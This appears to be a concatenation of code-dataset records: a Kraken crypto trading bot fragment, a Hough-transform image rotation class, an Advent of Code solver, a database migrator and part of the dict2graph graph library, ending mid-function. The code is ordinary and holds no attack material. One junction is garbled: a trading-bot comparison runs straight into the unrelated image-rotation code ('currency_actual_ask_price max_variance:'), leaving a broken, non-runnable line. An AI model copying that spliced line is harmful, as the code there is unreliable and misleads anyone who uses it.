if(is_buying_order_canceled_and_partially_executed==True):\n specific_text=\"PARTIALLY EXECUTED CANCEL \"\n notifier.notify(specific_text+'Order '+oe.get('order_id')+' '+str.upper(status),descr)\n\n logger.info('Order '+oe.get('order_id')+' '+str.upper(status)+\" \"+descr)\n \n # If an BUY order was CLOSED( or CANCELED but partially processed), search the concerned speculator to create sell order\n if(oe.get('type')==BUYING or oe.get('type')==SELLING):\n logger.info(\"order \"+str(oe.get('order_id'))+\" just closed, searching trader\")\n for index in range(0,NB_OF_TRADERS):\n if(list_trader[index][4]==BUYING and list_trader[index][3]==oe.get('order_id') and (status==CLOSED or is_buying_order_canceled_and_partially_executed==True) ):\n logger.info(\"1/ \"+str(BUYING)+\" order \"+oe.get('order_id')+\" was originally created by trader \"+str(index)+\".\")\n if(is_buying_order_canceled_and_partially_executed==True):\n logger.info(\"- Specific case of selling order creation after cancelation of partially executed buying order\")\n ########################\n # CREATING SELLING ORDER\n ########################\n # Get available amount of currency\n volume_buyed_to_sell=kraken.get_closed_order_volume_by_id(oe.get('order_id'),persistenceHandler,STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE)\n logger.info(\"Volume to sell is :\"+str(volume_buyed_to_sell))\n if(volume_buyed_to_sell>0.0):\n unit_selling_price=round(list_trader[index][2]+STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,2)\n logger.info(\"Unit sell price is:\"+str(unit_selling_price))\n # Selling order: secure_sell(volume,price,currency_crawling_name,persistenceHandler,current_step_between_buy_and_sell,CURRENCY_ORDER_NAME)\n created_selling_order=kraken.secure_sell(volume_buyed_to_sell,unit_selling_price,CURRENCY_CRAWLED_NAME,persistenceHandler,STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,CURRENCY_ORDER_NAME)\n fresh_open_orders.append(created_selling_order)\n list_trader[index][3]=created_selling_order.get('order_id')\n list_trader[index][4]=SELLING\n list_trader[index][5]=0.0\n # Setting engaged money\n list_trader[index][6]=calculatedEngagedMoney(volume_buyed_to_sell,unit_selling_price,STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE)\n logger.info(\"Trader \"+str(list_trader[index][0])+\" is now in mode\"+str(list_trader[index][4])+\" with order \"+str(list_trader[index][3])+\". Budget is :\"+str(list_trader[index][5]))\n break;\n if(list_trader[index][3]==oe.get('order_id') and ((list_trader[index][4]==SELLING) or ((list_trader[index][4]==BUYING) and (status==CANCELED)))):\n logger.info(\"2/ \"+str(list_trader[index][4])+\" order \"+oe.get('order_id')+\" was originally created by trader \"+str(index)+\".\")\n ####################################################\n # MANAGE SELL ENJOYMENT, OR BUY CANCELATION\n ####################################################\n flag_benefit=False\n if(list_trader[index][4]==SELLING):\n flag_benefit=True\n \n list_trader[index][3]=None\n list_trader[index][4]=WAITING\n # Budget will be calculated in the iteration\n list_trader[index][5]=0.0\n list_trader[index][6]=0.0\n logger.info(\"Trader \"+str(list_trader[index][0])+\" is now in mode\"+str(WAITING))\n \n # Special notification if to give you benefits\n if(flag_benefit):\n try:\n benefits=businessLogic.estimate_benefits(list_trader[index][2],volume,round(list_trader[index][2]+STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,2))\n todays_benefits=businessLogic.calculate_today_benefits(persistenceHandler.get_todays_benefits())\n logger.info(\"Todays Benefits are \"+str(todays_benefits))\n notifier.notify(\";) Congrats\",\"If configuration did t change, Benefits are little bit under \"+str(benefits)+\"€\\nTotal for today :\"+str(todays_benefits[1])+\"€ (in \"+str(todays_benefits[0])+\" trades)\")\n logger.info(\"CONGRATULATIONS !!! Benefits are little bit under \"+str(benefits)+\"€\")\n logger.info(\"---------------------Total for today-> \"+str(todays_benefits[1])+\"€ (\"+str(todays_benefits[0])+\" trades)\")\n except Exception as e:\n logger.info(\"fail to send Special notification for benefit. error was \"+str(e))\n break;\n\n # Finally setup open order to freshest list\n list_open_orders=fresh_open_orders\n time.sleep(15)\n\n \n if(DO_STEP2==True):\n \n # Safety check (only if owned_value > 0 (if =-1 it means that it change during time when we get open orders))\n if(owned_volume>0.0):\n safetyCheckOnTradingCurrencySellingOrder(list_open_orders,owned_volume)\n else:\n logger.info(\"Safety check is not going to be performed ( owned_volume=\"+str(owned_volume)+\")\")\n \n ##########################\n # Traders\n ##########################\n CAN_LAUNCH_BUYING_ORDER=False\n CURRENT_BUYING_ORDER_ID=-1\n # Check if a trader is buying, else set up to buy\n EXISTS_OPEN_BUYING_ORDERS=False\n BUYING_TRADER_ID=-1\n for index in range(0,NB_OF_TRADERS):\n if list_trader[index][4]==BUYING:\n EXISTS_OPEN_BUYING_ORDERS=True\n BUYING_TRADER_ID=list_trader[index][0]\n CURRENT_BUYING_ORDER_ID=list_trader[index][3]\n \n # Get trading informations only if no other speculators are buying\n IS_TREND_GROWING=False\n if(EXISTS_OPEN_BUYING_ORDERS==False):\n df2=persistenceHandler.get_Trends_time_series(kraken_time,CURRENCY_CRAWLED_NAME,2)\n df5=persistenceHandler.get_Trends_time_series(kraken_time,CURRENCY_CRAWLED_NAME,5)\n df10=persistenceHandler.get_Trends_time_series(kraken_time,CURRENCY_CRAWLED_NAME,10)\n # I take 16 mins to be sure having at least 14.5 mins\n df15=persistenceHandler.get_Trends_time_series(kraken_time,CURRENCY_CRAWLED_NAME,16)\n \n trends2_is_growing=businessLogic.it_market_increasing(df2)\n trends5_is_growing=businessLogic.it_market_increasing(df5)\n trends10_is_growing=businessLogic.it_market_increasing(df10)\n trends15_is_growing=businessLogic.it_market_increasing(df15)\n \n delay_covered=(max(df15.index) - min(df15.index)).seconds\n logger.info('Covered delay = '+str(round( (delay_covered/60) ,2))+' mins / Trend data: (T2:'+str(len(df2))+' elems),(T5:'+str(len(df5))+' elems),(T10:'+str(len(df10))+' elems),(T15='+str(len(df15))+' elems)')\n \n # Checking if trend is reliable\n if(len(df2)>2 and len(df5)>5 and len(df10)>10 and len(df15)>15 and (delay_covered/60.0)>=14.5):\n if(trends2_is_growing and trends5_is_growing and trends10_is_growing and trends15_is_growing):\n # Checking that trends number is enough:\n logger.info(\"Market is good right now \")\n IS_TREND_GROWING=True\n else:\n logger.info(\"Market is not good at this time \")\n else:\n logger.warn(\"Number of data for trends is not reliable\")\n \n # If market is growing and no one is buying, check bugdet\n if(IS_TREND_GROWING==True and EXISTS_OPEN_BUYING_ORDERS==False):\n logger.info(\"Market is OK, and no buying orders open : time to shop a little bit ! \")\n # calculate budget, get the right trader and launch buying\n list_trader=budgetCalculation(list_trader,NB_OF_TRADERS,logs=True)\n \n #Check if the speculator has right to buy:\n if AUTHORIZATION_OF_BUYING==True and currency_actual_ask_price>=MIN_BUYING_PRICE:\n logger.info(\"Remember : Speculator is allowed to trade\")\n # /!\\ check from lowest trader to higher trader is essential\n SELECTED_TRADER_ID_FOR_BUYING=-1\n for index in range(NB_OF_TRADERS-1,-1,-1):\n # If trader's buy price is higher than value price we have the right trader\n if(list_trader[index][2]>=currency_actual_ask_price):\n # index of selected trader is index+1 (lower )\n ###################\n # SET BUYING ORDER\n ##################\n SELECTED_TRADER_ID_FOR_BUYING=index+1\n # Checking it trader is available:\n if(list_trader[SELECTED_TRADER_ID_FOR_BUYING][4]==WAITING):\n # Calculate volume to buy\n volume_to_buy=businessLogic.get_maximum_volume_to_buy_with_budget( round( list_trader[SELECTED_TRADER_ID_FOR_BUYING][5],2),list_trader[SELECTED_TRADER_ID_FOR_BUYING][2] )\n logger.info(\"Trader \"+str(SELECTED_TRADER_ID_FOR_BUYING)+' was selected to buy at '+str(list_trader[SELECTED_TRADER_ID_FOR_BUYING][2])+\" because market price is \"+str(currency_actual_ask_price))\n logger.info(\" budget is going to be \"+str(list_trader[SELECTED_TRADER_ID_FOR_BUYING][5])+\"€\")\n logger.info(\" buying volume :\"+str(volume_to_buy))\n logger.info(\" For further analysis, unix time is \"+str(kraken_time))\n \n # create buying order\n created_buying_order=kraken.secure_buy(volume_to_buy,list_trader[SELECTED_TRADER_ID_FOR_BUYING][2],CURRENCY_CRAWLED_NAME,persistenceHandler,STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,CURRENCY_ORDER_NAME)\n logger.info(\"Buying order \"+created_buying_order.get('order_id')+\" was created\")\n list_open_orders.append(created_buying_order)\n # /!\\set up right status and cut budget setup selling order \n list_trader[SELECTED_TRADER_ID_FOR_BUYING][3]=created_buying_order.get('order_id')\n list_trader[SELECTED_TRADER_ID_FOR_BUYING][4]=BUYING\n list_trader[SELECTED_TRADER_ID_FOR_BUYING][5]=0.0\n # setup buying mode to avoir other buy attempt\n EXISTS_OPEN_BUYING_ORDERS=True\n else:\n logger.info(\"Speculator wanted with trader \"+str(SELECTED_TRADER_ID_FOR_BUYING)+\" is already in \"+str(list_trader[SELECTED_TRADER_ID_FOR_BUYING][4])+\" mode\")\n break;\n else:\n logger.info(\"Speculator is actually in mode AUTHORIZATION_OF_BUYING==False\")\n else:\n if(EXISTS_OPEN_BUYING_ORDERS==True):\n # On ne verifie pas l'ordre du top trader (on ne peut rien faire de toute manière)\n if(BUYING_TRADER_ID>0):\n logger.info(\"Check if Trader \"+str(BUYING_TRADER_ID)+\" buying order has still potential to reach \")\n # check if order is ok\n buying_trader=list_trader[BUYING_TRADER_ID]\n upper_buying_trader=list_trader[BUYING_TRADER_ID-1]\n if(buying_trader[0]==BUYING_TRADER_ID and upper_buying_trader[0]==BUYING_TRADER_ID-1):\n # Control is : market price has to be - upper or equals to buyer unit price\n if(buying_trader[2]<= currency_actual_ask_price and currency_actual_ask_price max_variance:\n max_variance = variance\n target_shift = shift\n\n if shift % 300 == 0 and shift != -MAX_SHIFT:\n plt.clf()\n plt.plot(np.arange(-MAX_SHIFT, shift + 1), variances)\n plt.savefig('out/variances.png')\n\n print(f\"Finished calculating, optimal shift is {target_shift}\")\n sys.setrecursionlimit(old_recursion_limit)\n\n return img_tools.rotate_by_shift(\n self.source, target_shift, \n img_tools.InterpolationType.BILINEAR\n )\n\n def _get_brightness_variance(self, shift):\n line_brightness = []\n N, M = self._img.shape \n for x in range(min(-shift, 0), max(N - shift, N) + 1):\n stats = self._brightness_statistics(x, 0, shift, M)\n if stats[1] != 0:\n line_brightness.append(stats[0] / stats[1])\n return np.var(line_brightness) if line_brightness else 0\n\n @lru_cache(10**8)\n def _brightness_statistics(self, x, y, shift_x, shift_y):\n \"\"\"\n returns (brightness sum, amount of featured cells)\n of cells from to not inclusive\n \"\"\"\n\n sign = lambda x: 1 if x >= 0 else -1\n if not img_tools.contains_coordinates(self._img, x, y) and \\\n not img_tools.contains_coordinates(self._img, x + shift_x - sign(shift_x), y + shift_y - 1):\n return np.array([0, 0]) \n \n if abs(shift_x) <= 1:\n res = np.zeros(2)\n for y_i in range(y, y + shift_y):\n if img_tools.contains_coordinates(self._img, x, y_i):\n res += np.array([self._img[x][y_i], 1])\n return res\n\n shift_x2 = sign(shift_x) * (abs(shift_x) // 2)\n shift_y2 = shift_y // 2\n return self._brightness_statistics(x, y, shift_x2, shift_y2) +\\\n self._brightness_statistics(x + shift_x2, y + shift_y2, shift_x - shift_x2, shift_y - shift_y2)","repo_name":"Moysenko/ABBYY_CV","sub_path":"Homework_3/fht.py","file_name":"fht.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74927007452","text":"def score_round(text: str) -> int:\n legend = {\n \"A\": \"Rock\",\n \"B\": \"Paper\",\n \"C\": \"Scissors\",\n \"X\": \"Rock\",\n \"Y\": \"Paper\",\n \"Z\": \"Scissors\",\n }\n wins = {\"Rock\": \"Scissors\", \"Paper\": \"Rock\", \"Scissors\": \"Paper\"}\n choices = {\"Rock\": 1, \"Paper\": 2, \"Scissors\": 3}\n opp, me = text.split(\" \")\n conv_opp, conv_me = legend[opp], legend[me]\n score = choices[conv_me]\n if wins[conv_opp] == conv_me:\n pass\n elif conv_opp == conv_me:\n score += 3\n elif wins[conv_me] == conv_opp:\n score += 6\n return score\n\n\ndef score_game(text: str) -> int:\n score = 0\n for cur_round in text.split(\"\\n\"):\n score += score_round(cur_round)\n return score\n\n\ndef part_1():\n # tests\n with open(\"2_test.txt\", \"r\") as f:\n data = f.read()\n assert score_game(data) == 15\n\n # input\n with open(\"2_input.txt\", \"r\") as f:\n data = f.read()\n print(score_game(data))\n\n\ndef score_round_part2(text: str) -> int:\n legend = {\"A\": \"Rock\", \"B\": \"Paper\", \"C\": \"Scissors\"}\n wins = {\"Rock\": \"Scissors\", \"Paper\": \"Rock\", \"Scissors\": \"Paper\"}\n losses = {v: k for k, v in wins.items()}\n choices = {\"Rock\": 1, \"Paper\": 2, \"Scissors\": 3}\n opp, me = text.split(\" \")\n conv_opp = legend[opp]\n score = 0\n if me == \"X\":\n score += choices[wins[conv_opp]]\n elif me == \"Y\":\n score += choices[conv_opp] + 3\n elif me == \"Z\":\n score += choices[losses[conv_opp]] + 6\n return score\n\n\ndef score_second_game(text: str) -> int:\n score = 0\n for cur_round in text.split(\"\\n\"):\n score += score_round_part2(cur_round)\n return score\n\n\ndef part_2():\n # tests\n with open(\"2_test.txt\", \"r\") as f:\n data = f.read()\n assert score_second_game(data) == 12\n\n # input\n with open(\"2_input.txt\", \"r\") as f:\n data = f.read()\n print(score_second_game(data))\n\n\npart_1()\npart_2()\n","repo_name":"grahampicard/advent-of-code-2022","sub_path":"2/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41812236353","text":"import importlib\n\n\nclass Migrator:\n\tVERSION = None\n\n\tdef __init__(self, db):\n\t\t\"\"\"\n\t\tInitiate migrator class.\n\n\t\t:param db: Database instance\n\t\t:type db: layblr.database.db.Database\n\t\t\"\"\"\n\t\tself.db = db\n\t\tself.connection = db.connection\n\n\tasync def up(self):\n\t\t\"\"\"\n\t\tMigrate the schema to the new version.\n\t\t\"\"\"\n\t\traise NotImplementedError\n\n\tasync def down(self):\n\t\t\"\"\"\n\t\tMigrate down to the older version (undo changes). Optional but recommended.\n\t\t:return:\n\t\t\"\"\"\n\t\traise Exception('No down migration')\n\n\ndef get_migration_versions():\n\t\"\"\"\n\tScan folder for migration versions and return the version classes.\n\n\t:return: Version migrator classses.\n\t\"\"\"\n\tfrom layblr.database.migration import versions\n\treturn versions\n\n\ndef get_latest_version():\n\t\"\"\"\n\tGet latest version.\n\n\t:return: Latest version number\n\t\"\"\"\n\tversions = get_migration_versions()\n\treturn int(versions[len(versions) - 1])\n\n\ndef get_version_class(version):\n\t\"\"\"\n\tImport and return class of the given integer version.\n\t:param version: Version integer.\n\t:return: Class of the migration version.\n\t\"\"\"\n\tversion_string = '{0:03d}'.format(version)\n\tmodule_name = 'v{}'.format(version_string)\n\tversion_class = 'Version{}'.format(version_string)\n\n\tmodule = importlib.import_module('layblr.database.migration.{}'.format(module_name))\n\treturn getattr(module, version_class)\n","repo_name":"layblr/layblr","sub_path":"layblr/database/migrator.py","file_name":"migrator.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"41597447839","text":"import json\nfrom typing import Union\nfrom typing import List, Dict, Tuple, Type\nfrom py2neo import Graph\nfrom neo4j import Driver\n\nfrom graphio import NodeSet, RelationshipSet\nfrom dict2graph.node import Node\nfrom dict2graph.relation import Relation\nfrom dict2graph.transformers._base import (\n _NodeTransformerBase,\n _RelationTransformerBase,\n)\nfrom dict2graph.transformers import Transformer\nfrom dict2graph.matcher_transformators_container import (\n MatcherTransformersContainer,\n MatcherTransformersContainerStack,\n)\n\n\nclass Dict2graph:\n \"\"\"\n The central class for dict2graph. Must be instanced to do get started and access the dict2graph api.\n\n **Class attributes**\n Dict2Graph has some basic options, packed into class attributes. You can change them after instantiating Dict2Graph.\n Usally you can go with the default values and dont need to change anything here.\n\n **example**\n\n ```python\n from dict2graph import Dict2graph\n\n d2g = Dict2graph()\n d2g.list_hub_additional_labels = [\"Collection\"]\n ```\n This will (later when parsing/transforming) add a label `Collection` to all list hubs\n\n\n Attributes:\n list_hub_additional_labels: Add these labels to list hub nodes. Defaults to `[\"ListHub\"]`.\n\n list_item_additional_labels: Add these labels to list item nodes. Defaults to `[\"ListItem\"]`.\n\n list_hub_id_property_name: A hub node has hash generated property based on its items.\n This is the name/key of the property. Defaults to `id`.\n\n list_item_relation_index_property_name: To preserve a json/dict list sequence,\n the index will be added to the relation from a list item node.\n This is the name/key of this property. Defaults to `_list_item_index`.\n\n simple_list_item_data_property_name: A list of basic types like `[1,2,3]` will get the label from its parents,\n but needs a default name/key for the value properties. Defaults to `_list_item_data`.\n\n root_node_default_labels: Will be used as root node label, if no root node label can be captured\n and no articial root node labels (via `Dict2Graph.parse(root_node_labels)`) are provided. Defaults to `[\"Dict2GraphRoot\"]`.\n\n root_node_default_id_property_name: The root node will have a primary key based on a hash of the dict input. This is the name/key fir this property.\n\n empty_node_default_id_property_name: To prevent all empty nodes to merging together when doing\n `Dict2Graph.merge()`, they get an hash id by default.\n This is name/key for this property. Defaults to `id`.\n \"\"\"\n\n # Replacement strings {ITEM_PRIMARY_LABEL} and {ITEM_LABELs} are available\n list_hub_additional_labels: List[str] = [\"ListHub\"]\n list_item_additional_labels: List[str] = [\"ListItem\"]\n list_hub_id_property_name: str = \"id\"\n list_item_relation_index_property_name: str = \"_list_item_index\"\n\n simple_list_item_data_property_name: str = \"_list_item_data\"\n root_node_default_labels: List[str] = [\"Dict2GraphRoot\"]\n root_node_default_id_property_name: str = \"id\"\n\n empty_node_default_id_property_name: str = \"id\"\n\n def __init__(\n self,\n create_ids_for_empty_nodes: bool = True,\n interpret_single_props_as_labels: bool = True,\n ):\n \"\"\"\n Usage:\n ```python\n from dict2graph import Dict2graph\n\n d2g = Dict2Graph()\n ```\n\n Args:\n create_ids_for_empty_nodes (bool, optional): When input dicts results in empty 'hub' nodes, this will create artificially key properties based on the child data. The key will be deterministic . Defaults to True.\n interpret_single_props_as_labels (bool, optional): When having objects with a single property like `{\"animal\":{\"name\":\"dog\"}}` `animal` will be interpreted as label. If set to false \"animal\" will result in an extra Node. Defaults to True.\n \"\"\"\n self.create_ids_for_empty_nodes = create_ids_for_empty_nodes\n\n # Todo: \"interpret_single_props_as_labels\" should be a regualr NodeTransformer instead of a class param\n self.interpret_single_props_as_labels = interpret_single_props_as_labels\n\n self._node_cache: List[Node] = []\n self._node_cache_feeder: List[Node] = []\n\n self._rel_cache: List[Relation] = []\n self._rel_cache_feeder: List[Node] = []\n self._nodeSets: Dict[Tuple, NodeSet] = {}\n self._relSets: Dict[Tuple, RelationshipSet] = {}\n self.matcher_and_node_transformers_stack = MatcherTransformersContainerStack([])\n self.matcher_and_rel_transformers_stack = MatcherTransformersContainerStack([])\n\n def add_transformation(\n self,\n transformer: Union[\n _NodeTransformerBase,\n _RelationTransformerBase,\n List[Union[_NodeTransformerBase, _RelationTransformerBase]],\n ],\n ):\n \"\"\"Add one or a list of [`Transformers`](/use_transformers.md) to the Dict2Graph instance.\n Transformers can re-model your graph befor writing it to a Neo4j database.\n\n **usage**:\n ```python\n from dict2graph import Dict2graph, Transformer, NodeTrans\n\n d2g = Dict2Graph()\n d2g.add_transformation(\n Transformer.match_nodes(\"article\").do(NodeTrans.OverrideLabel(\"book\"))\n )\n ```\n\n Args:\n transformer (Union[ _NodeTransformerBase, _RelationTransformerBase, List[Union[_NodeTransformerBase, _RelationTransformerBase]], ]): A list or single instance of a Transformer\n\n \"\"\"\n\n if isinstance(transformer, list):\n for trans in transformer:\n self.add_transformation(trans)\n return\n if self._get_transformer_class(transformer) == _NodeTransformerBase:\n self.add_node_transformation(transformer)\n\n elif self._get_transformer_class(transformer) == _RelationTransformerBase:\n self.add_relation_transformation(transformer)\n else:\n raise ValueError(\n f\"Expected transformer of subclass '{_NodeTransformerBase}' or '{_RelationTransformerBase}', got '{transformer.__class__}' (child of '{transformer.__class__.__bases__}')\"\n )\n\n def _get_transformer_class(\n self, transformer: Union[_NodeTransformerBase, _RelationTransformerBase]\n ) -> Union[Type[_NodeTransformerBase], type[_RelationTransformerBase]]:\n if issubclass(transformer.__class__, _NodeTransformerBase) and issubclass(\n transformer.__class__, _RelationTransformerBase\n ):\n # We got a generic transformer. we have to look at the matcher to determine the transformer type.\n if isinstance(transformer.matcher, Transformer.RelTransformerMatcher):\n return _RelationTransformerBase\n elif isinstance(transformer.matcher, Transformer.NodeTransformerMatcher):\n return _NodeTransformerBase\n elif issubclass(transformer.__class__, _NodeTransformerBase):\n return _NodeTransformerBase\n elif issubclass(transformer.__class__, _RelationTransformerBase):\n return _RelationTransformerBase\n\n def add_node_transformation(\n self, transformer: Union[_NodeTransformerBase, List[_NodeTransformerBase]]\n ):\n if isinstance(transformer, list):\n for trans in transformer:\n self.add_node_transformation(trans)\n return\n if transformer.matcher is None:\n raise ValueError(f\"No matcher added to {transformer}\")\n if not issubclass(transformer.__class__, _NodeTransformerBase):\n raise ValueError(\n f\"Expected transformer of subclass '{_NodeTransformerBase}', got '{transformer.__class__}' (child of '{transformer.__class__.__bases__}').\\nMaybe you wanted to use function `Dict2graph.add_relation_transformation()` instead of `add_node_transformation`?\"\n )\n elif transformer.matcher.__class__ != Transformer.NodeTransformerMatcher:\n raise ValueError(\n f\"Expected transformer matcher of class '{Transformer.NodeTransformerMatcher}', got '{transformer.matcher.__class__}'.\\nMaybe you accidentally added a relationship matcher instead of a node matcher (`match_nodes()` vs. `match_rels()`) while using `Dict2graph.add_node_transformation()`?\"\n )\n else:\n transformer.d2g = self\n self.matcher_and_node_transformers_stack.add_container(transformer)\n\n def add_relation_transformation(\n self,\n transformer: Union[_RelationTransformerBase, List[_RelationTransformerBase]],\n ):\n if isinstance(transformer, list):\n for trans in transformer:\n self.add_relation_transformation(trans)\n return\n elif not issubclass(transformer.__class__, _RelationTransformerBase):\n raise ValueError(\n f\"Expected transformer of subclass '{_RelationTransformerBase}', got '{transformer.__class__}' (child of '{transformer.__class__.__bases__}').\\nMaybe you wanted to use function `Dict2graph.add_node_transformation()` instead of `add_relation_transformation`?\"\n )\n elif transformer.matcher.__class__ != Transformer.RelTransformerMatcher:\n raise ValueError(\n f\"Expected transformer matcher of class '{Transformer.RelTransformerMatcher}', got '{transformer.matcher.__class__}'.\\nMaybe you accidentally added a node matcher instead of a relationship matcher (`match_rels()` vs. `match_nodes()`) while using `Dict2graph.add_relation_transformation()`?\"\n )\n else:\n self.matcher_and_rel_transformers_stack.add_container(transformer)\n\n def parse(\n self, data: Dict, root_node_labels: Union[str, List[str]] = None\n ) -> \"Dict2graph\":\n \"\"\"Submit your actual data (as dict) to dict2graph. The data will be transformed instantly but not yet pushed to your Neo4j database.\n It will land in a dict2graph internal cache. You can run multiple `Dict2Graph.parse()` passes before pushing the data to your Neo4j database.\n\n **usage**\n ```python\n from dict2graph import Dict2graph\n # provide any dict that is json compatible (basic typed values and keys)\n data = {\"myDictKey\":\"myValue\"}\n d2g = Dict2Graph()\n d2g.parse(data)\n ```\n Args:\n data (Dict): Your data as a dict with only basic typed valued, as a rule of thumb it should be json compatible.\n If you have json string you may use the build-in python module \"json\" in before(`json.loads(your_data_as_json)`)\n root_node_labels (Union[str, List[str]], optional): Dict2graph tries to determine a sensible root node.\n But that is not possible in many cases and dict2graph\n will return to the default label in `Dict2graph.root_node_default_labels`.\n with `Dict2graph.parse(root_node_labels)` you can force a root label.\n Defaults to None.\n\n Raises:\n ValueError: When data is not parsable.\n\n Returns:\n Dict2graph: Returns itself to be able to chains commands like `dict2graph_ints.parse(data).parse(data2).create(NEO4J_DRIVER)`\n \"\"\"\n if root_node_labels is None:\n if isinstance(data, dict) and len(data.keys()) == 1:\n # we only have one key and therefore only one Node on the top-/root-level. We dont need a root Node to connect the toplevels nodes.\n root_node_labels = [list(data.keys())[0]]\n data = data[root_node_labels[0]]\n else:\n root_node_labels = self.root_node_default_labels\n if isinstance(root_node_labels, str):\n root_node_labels = [root_node_labels]\n\n if isinstance(data, str):\n data_obj = json.loads(data)\n else:\n data_obj = data\n if not isinstance(data_obj, dict) and not isinstance(data_obj, list):\n raise ValueError(\n \"Expected json compatible object like a dict or list. got {}\".format(\n type(data_obj).__name__\n )\n )\n if isinstance(data_obj, dict):\n\n root_node = self._parse_traverse_dict_fragment(\n labels=root_node_labels, data=data_obj, parent_node=None\n )\n\n elif isinstance(data_obj, list):\n root_node = self._parse_traverse_list_fragment(\n labels=root_node_labels, data=data_obj, parent_node=None\n )\n self._prepare_root_node(root_node)\n\n self._flush_cache()\n return self\n\n def merge(\n self,\n graph: Union[Graph, Driver],\n database: str = None,\n create_merge_indexes: bool = True,\n ):\n \"\"\"Push the data to a Neo4h database, with a merge operation.\n\n **usage**\n ```python\n from dict2graph import Dict2graph\n from neo4j import GraphDatabase\n # provide any dict that is json compatible (basic typed values and keys)\n data = {\"car\":{\"wheels\":\"4\"}}\n data2 = {\"car\":{\"wheels\":\"4\"}}\n d2g = Dict2Graph()\n d2g.parse(data)\n d2g.parse(dat2)\n d2g.merge(GraphDatabase.driver(\"neo4j://localhost\"))\n ```\n\n Will result in one node `(:car{wheels:4})` because the two datasets where merged (based on same labels and properties).\n\n Args:\n graph (Union[Graph, Driver]): A [`neo4j.GraphDatabase` instance](https://neo4j.com/docs/api/python-driver/current/)\n or a [`py2neo.Graph` instance](https://py2neo.org/2021.1/workflow.html#graph-objects)\n database (str, optional): Name of the Neo4j [database](https://neo4j.com/docs/cypher-manual/current/databases/). Defaults to None which will eb the default \"neo4j\" db.\n create_merge_indexes (bool, optional): _description_. Defaults to True.\n \"\"\"\n\n if create_merge_indexes:\n self.create_indexes_for_merge_keys(graph)\n for nodes in self._nodeSets.values():\n nodes.merge(graph, database=database)\n for rels in self._relSets.values():\n rels.merge(graph, database=database)\n\n def create(\n self,\n graph: Union[Graph, Driver],\n database: str = None,\n ):\n \"\"\"Push the data to a Neo4h database, with a create operation.\n\n **usage**\n ```python\n from dict2graph import Dict2graph\n from neo4j import GraphDatabase\n # provide any dict that is json compatible (basic typed values and keys)\n data = {\"car\":{\"wheels\":\"4\"}}\n data2 = {\"car\":{\"wheels\":\"4\"}}\n d2g = Dict2Graph()\n d2g.parse(data)\n d2g.parse(dat2)\n d2g.create(GraphDatabase.driver(\"neo4j://localhost\"))\n ```\n\n Will result in two nodes `(:car{wheels:4})`.\n\n Args:\n graph (Union[Graph, Driver]): A [Neo4j python driver instance](https://neo4j.com/docs/api/python-driver/current/)\n or a [`py2neo.Graph` instance](https://py2neo.org/2021.1/workflow.html#graph-objects)\n database (str, optional): Name of the Neo4j [database](https://neo4j.com/docs/cypher-manual/current/databases/). Defaults to None which will eb the default \"neo4j\" db.\n \"\"\"\n for nodes in self._nodeSets.values():\n nodes.create(graph, database=database)\n for rels in self._relSets.values():\n rels.create(graph, database=database)\n\n def create_indexes_for_merge_keys(self, graph: Union[Graph, Driver]):\n for nodes in self._nodeSets.values():\n\n nodes.create_index(graph)\n\n def _prepare_root_node(self, node: Node):\n node.is_root_node = True\n if len(node.keys()) == 0:\n node[self.root_node_default_id_property_name] = node.get_hash(\n include_children_data=True\n )\n\n node.merge_property_keys = [self.root_node_default_id_property_name]\n\n def _parse_traverse_dict_fragment(\n self, data: Dict, parent_node: Node, labels: List[str] = None\n ) -> Node:\n new_node = Node(labels=labels, source_data=data, parent_node=parent_node)\n new_child_nodes: List[Node] = []\n new_rels: List[Relation] = []\n for key, val in data.items():\n if self._is_basic_attribute_type(val):\n # value is a simple type. attach as property to node\n new_node[key] = val\n else:\n # value is dict or list in itself and therefore one or multiple child nodes\n r = None\n n = None\n if isinstance(val, dict):\n if self._is_named_obj(val):\n n = self._parse_traverse_dict_fragment(\n labels=list(val.keys()),\n data=val[list(val.keys())[0]],\n parent_node=new_node,\n )\n r = Relation(start_node=new_node, end_node=n, relation_type=key)\n else:\n n = self._parse_traverse_dict_fragment(\n labels=[key], data=val, parent_node=new_node\n )\n elif isinstance(val, list):\n n = self._parse_traverse_list_fragment(\n labels=[key], data=val, parent_node=new_node\n )\n elif val is not None:\n raise ValueError(\n f\"Expected dict val to be a None, basic type, a list or a dict. Got `{type(val)}` for key '{key}' value '{val}'\"\n )\n if n is not None:\n new_child_nodes.append(n)\n if r is None:\n r = Relation(\n start_node=new_node,\n end_node=n,\n )\n new_rels.append(r)\n self._node_cache.append(new_node)\n self._rel_cache.extend(new_rels)\n return new_node\n\n def _parse_traverse_list_fragment(\n self, labels: List[str], parent_node: Node, data: Dict\n ) -> Node:\n\n # create/set list root node. this is the node on which the list items will attach to\n # the parent_node is the default root\n\n list_root_hub_node: Node = Node(\n labels=labels,\n source_data=data,\n parent_node=parent_node,\n )\n self._set_list_root_hub_node_labels(list_root_hub_node)\n list_root_hub_node.is_list_list_hub = True\n self._node_cache.append(list_root_hub_node)\n # parse nodes\n new_list_item_nodes: List[Node] = []\n for index, obj in enumerate(data):\n if self._is_basic_attribute_type(obj):\n n = Node(labels, source_data=obj, parent_node=list_root_hub_node)\n\n n[self.simple_list_item_data_property_name] = obj\n self._node_cache.append(n)\n new_list_item_nodes.append(n)\n elif self._is_named_obj(obj):\n obj_label = list(obj.keys())[0]\n obj_data = obj[obj_label]\n new_list_item_nodes.append(\n self._parse_traverse_dict_fragment(\n labels=obj_label, data=obj_data, parent_node=list_root_hub_node\n )\n )\n elif isinstance(obj, dict):\n new_list_item_nodes.append(\n self._parse_traverse_dict_fragment(\n labels=labels, data=obj, parent_node=list_root_hub_node\n )\n )\n elif isinstance(obj, list):\n new_list_item_nodes.append(\n self._parse_traverse_list_fragment(\n labels=labels, data=obj, parent_node=list_root_hub_node\n )\n )\n\n # 